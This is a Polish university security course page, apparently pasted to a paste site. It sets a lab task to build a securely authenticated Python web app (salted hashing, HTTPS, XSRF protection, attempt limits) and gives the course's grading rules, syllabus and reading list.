  1025. Tworząc oprogramowanie programiści najczęściej skupiają się na funkcjonalności i wydajności systemu. Jednak tym razem pełna uwaga powinna być skupiona na kwestiach bezpieczeństwa. Dlatego realizując zadanie nie ma większego znaczenia wygląda aplikacji, ani jej możliwości - liczy się to w jaki sposób sprawdza ona poprawność danych, czy ma restrykcyjne ustawienia początkowe, czy poprawnie wykorzystuje algorytmy kryptograficzne.
  1026.  
  1027. Dobrym materiałem do tego rodzaju ćwiczeń jest moduł uwierzytelniania. Jest on kluczowym elementem ochrony systemu, dlatego powinien być napisany wyjątkowo starannie. Na poprzednich zajęciach uczyliśmy się wielu technik, które powinny być wykorzystane przy tej okazji:
  1028.  
  1029. walidacja danych wejściowych (z negatywnym nastawieniem),
  1030. opóźnienia i limit prób (żeby utrudnić zdalne zgadywanie i atak brute-force),
  1031. ograniczone informowanie o błędach (np. o tym przyczynie odmowy uwierzytelenia),
  1032. bezpieczne przechowywanie hasła (wykorzystanie kryptograficznych funcji mieszających, wykorzystanie soli, wielokrotne hashowanie)
  1033. kontrola siły hasła, żeby uświadomić użytkownikowi problem
  1034. monitorowanie pracy systemu (np. żeby poinformować użytkownika o nowych komputerach, które łączyły się z jego kontem)
  1035. Za modułem uwierzytelniania napiszmy prostą funkcjonalność opublikowanie notatki, albo zmianę statusu użytkownika. Umożliwiając użytkownikowi zmianę hasła, warto sprawdzić jakiej jakości jest podawane przez niego hasło.
  1036.  
  1037. Potrzebna wiedza
  1038.  
  1039. podstawowa znajomość języka python
  1040. wiedza i umiejętności z poprzednich zajęć dotyczących konfiguracji Apache oraz bezpieczeństwa aplikacji internetowych,
  1041.  
  1042. Dodatkowe informacje
  1043.  
  1044. http://www.petefreitag.com/item/505.cfm - 20 ways to Secure your Apache Configuration
  1045.  
  1046. http://httpd.apache.org/docs/2.2/misc/security_tips.html - Apache Security Tips
  1047.  
  1048. https://goope.ee.pw.edu.pl/bach/vial - minimalny framework do napisania aplikacji internetowej w Pythonie (bez zabezpieczeń)
  1049. Hasła dla Google: authentication, WWW security
  1050.  
  1051. Podstawowe wymagania:
  1052.  
  1053. Napisz aplikację WWW realizującą uwierzytelnianie w oparciu o tajne hasło. Zwróć uwagę na:
  1054.  
  1055. (niezbędne) restrykcyjna weryfikacje danych pochodzących z formularza login-hasło,
  1056. (niezbędne) przechowywanie hasła chronione funkcją hash i solą,
  1057. (niezbędne) możliwość opublikowania prostej notatki o swoim statusie (jak Facebook). Restrykcyjne sprawdzenie poprawność podanych w formularzu danych (ochrona przed atakami XSS/Injection).
  1058. (niezbędne) zabezpieczenie transmisji poprzez wykorzystanie protokołu https.
  1059. dodatkowa kontrola spójności sesji (przeciw atakom XSRF),
  1060. wielokrotne wykorzystanie funkcji hash, żeby wydłużyć ataki brute-force na hash,
  1061. weryfikacja liczby nieudanych prób logowania,
  1062. dodanie opóźnienia przy weryfikacji hasła w celu wydłużenia ataków zdalnych,
  1063. sprawdzanie jakości hasła (jego entropii),
  1064. możliwość odzyskania dostępu w przypadku utraty hasła,
  1065. dodaj użytkownikowi możliwość zmiany hasła,
  1066. informowanie użytkownika o nowych podłączeniach do jego konta.
  1067. Regulamin przedmiotu:
  1068.  
  1069. Końcowa ocena z przedmiotu wystawiana jest na podstawie sumy punktów: z laboratorium i z wykładu.
  1070. Z egzaminu na koniec wykładu można maksymalnie dostać 24 punkty, a więc punktacja z laboratorium jest w skali 0-16 pkt. W ten sposób maksymalna liczba punktów wynosi 40. Za dodatkową aktywność na przedmiocie można dostać dodatkowy bonus w maksymalnej wysokości 10% punktów.
  1071. Warunkiem koniecznym zaliczenia przedmiotu jest uzyskanie ponad 8 punktów z laboratorium.
  1072.  
  1073. Skala ocen:
  1074. 21 - 3.0
  1075. 25 - 3.5
  1076. 29 - 4.0
  1077. 33 - 4.5
  1078. 37 - 5.0
  1079. Do egzaminu można przystąpić tylko dwa razy w jednym roku akademickim, ale dopiero oddanie pracy jest równoważne z przystąpieniem do egzaminu.
  1080. Informacje z karty przedmiotu:
  1081. (Poniższe dane możliwe są do edycji tylko w karcie przedmiotu przez kierownika przedmiotu.)
  1082. Cel przedmiotu:
  1083. Celem przedmiotu jest przedstawienie podstaw teoretycznych ochrony cyfrowych danych, a także praktycznych problemów występujących podczas zabezpieczania systemów informatycznych. Główną część wykładu zajmuje omówienie algorytmów kryptologicznych, które stanowią fundamenty zabezpieczeń informatycznych. W dalszym ciągu trwania przedmiotu zostaną poruszone takie problemy jak: tworzenie bezpiecznych programów komputerowych, aspekty bezpieczeństwa systemów operacyjnych, metody kontroli dostępu do danych cyfrowych, bezpieczna konfiguracja usług sieciowych, rola polityki bezpieczeństwa w działalności przedsiębiorstwa.
  1084. Treści merytoryczne:
  1085. Wykład:
  1086. Algorytmy kryptograficzne
  1087.  
  1088. Wprowadzenie. Kryptografia, steganografia. Definicje pojęć. Rys historyczny. Algorytmy historyczne. Współczesna kryptografia. Problemy prawne. Szyfrowanie XOR, OTP. Entropia.
  1089. Szyfry blokowe: DES, IDEA, RC5, AES. Tryby pracy szyfrów blokowych: ECB, CBC, CFB. Generowanie liczb losowych. Szyfry strumieniowe: RC4. Idea szyfrowania asymetrycznego. Artmetyka modularna. Szyfr plecakowy. Szyfrowanie asymetryczne: RSA, ElGamal, ECC. Funkcje jednokierunkowe. Funkcje skrótu i ich zastosowania. Ataki na funkcje skrótu. Algorytm MD5, rodzina SHA.
  1090. Protokoły kryptograficzne
  1091.  
  1092. Podpis cyfrowy. Możliwości i ograniczenia. DSA. Ślepy podpis przy pomocy RSA. Podpisy niezaprzeczalne. Uwierzytelnianie, a autoryzacja. Tajne hasło, 'challenge-and-response', dowody iteracyjne, dowody z wiedzą zerową. Protokół Fiata-Shamira. Protokoły uzgadniania kluczy. Atak 'man-in-the-middle'. Protokół Diffie-Hellmana. Protokół interlock. Protokóły dzielenia tajemnic. Protokóły zobowiązania bitowego.
  1093. Kontrola dostępu
  1094.  
  1095. Modele bezpieczeństwa. Polityki kontroli dostępu: uznaniowa, obowiązkowa (DAC, MAC, LBAC, RBAC). Model macierzowy. Model 'przejmij-przekaż'. Metody przechowywania uprawnień.
  1096. Bezpieczne programowanie
  1097.  
  1098. Projektowanie aplikacji, błędy programistyczne (przepełnienie bufora), walidacja danych. Bezpieczeństwo aplikacji internetowych (zarządzanie sesją, brak zaufania do strony klienta).
  1099. Zarządzanie bezpieczeństwem
  1100.  
  1101. Polityka bezpieczeństwa. Norma PN-ISO/IEC 17999, ISO 27000. Zasady i rodzaje audytu bezpieczeństwa.
  1102.  
  1103. Laboratorium:
  1104. Zajęcia organizacyjne. Wprowadzenie.
  1105. Algorytmy kryptografii historycznej (Python).
  1106. Algorytmy jednokierunkowych funkcji mieszających (Python).
  1107. Algorytmy szyfrowania asymetrycznego (Python)
  1108. Algorytmy szyfrowania strumieniowego (Python)
  1109. Algorytmy szyfrowania blokowego (Python)
  1110. Instalacja systemu FreeBSD
  1111. Bezpieczeństwo oprogramowania (język C)
  1112. Konfiguracja bezpiecznych serwisów sieciowych (Apache).
  1113. Konfiguracja bezpiecznych serwisów sieciowych (Apache+SSL).
  1114. Bezpieczeństwo oprogramowania internetowego 1 (Python)
  1115. Bezpieczeństwo oprogramowania internetowego 2 (Python)
  1116. Uszczelnianie systemu. Kopie zapasowe.
  1117. Audyt bezpieczeństwa systemu.
  1118. Zakończenie zajęć. Wpisy.
  1119. Termin zapasowy, wykorzystany w semestrze.
  1120. Literatura przedmiotu:
  1121. 1. Kryptografia. Teoria i praktyka zabezpieczania systemów komputerowych: Kutyłowski Mirosław, Strothmann Willy-B; Wydawnictwo Read Me, 2000
  1122. 2. Kryptografia. W teorii i w praktyce: Douglas R. Stinson; WNT, Warszawa, 2005
  1123. 3. Teoria bezpieczeństwa systemów komputerowych: Josef Pieprzyk, Thomas Hardjono, Jennifer Seberry; Helion 2005
  1124. Metody oceny:
  1125. Ocena z przedmiotu jest wyliczana na podstawie sumy punktów z egzaminu i punktów z laboratorium (60% + 40%).
  1126. Internetowy System Obsługi Dziekanatu 2010-2017 (wersja: 1.4.239) | Icons by http://dryicons.com
  1127. Uwagi oraz pytania techniczne: isod.wsparcie@iem.pw.edu.pl. W sprawach merytorycznych proszę kontaktować sie osobiście z pracownikami Dziekanatu.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement